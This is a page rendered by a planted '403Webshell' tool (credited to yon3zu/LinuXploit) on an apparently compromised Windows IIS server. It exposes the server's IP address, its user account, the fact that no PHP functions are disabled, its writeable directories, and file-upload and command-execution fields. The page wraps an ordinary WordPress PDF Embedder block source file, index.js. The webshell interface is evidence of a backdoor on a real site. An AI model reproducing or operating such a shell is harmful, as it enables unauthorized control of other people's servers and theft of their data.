403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Old Sites/ict/wp-content/plugins/pdf-embedder/block/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Old Sites/ict/wp-content/plugins/pdf-embedder/block/src/index.js
import { registerBlockType } from '@wordpress/blocks';

import './style.scss';

/**
 * Internal dependencies.
 */
import Edit from './edit';
import metadata from './block.json';

/**
 * Every block starts by registering a new block type definition.
 *
 * @see https://developer.wordpress.org/block-editor/reference-guides/block-api/block-registration/
 */
registerBlockType(
	metadata,
	{
		"attributes": {
			"pdfID": {
				"type": "number"
			},
			"url": {
				"type": "string"
			},
			"width": {
				"type": "string",
				"default": pdfembPluginOptions.width
			},
			"height": {
				"type": "string",
				"default": pdfembPluginOptions.height
			},
			"toolbar": {
				"type": "string",
				"enum": ["top", "bottom", "both", "none"],
				"default": pdfembPluginOptions.toolbar
			},
			"toolbarfixed": {
				"type": "string",
				"enum": ["off", "on"],
				"default": pdfembPluginOptions.toolbarfixed
			}
		},
		edit: Edit,
	}
);

Youez - 2016 - github.com/yon3zu
LinuXploit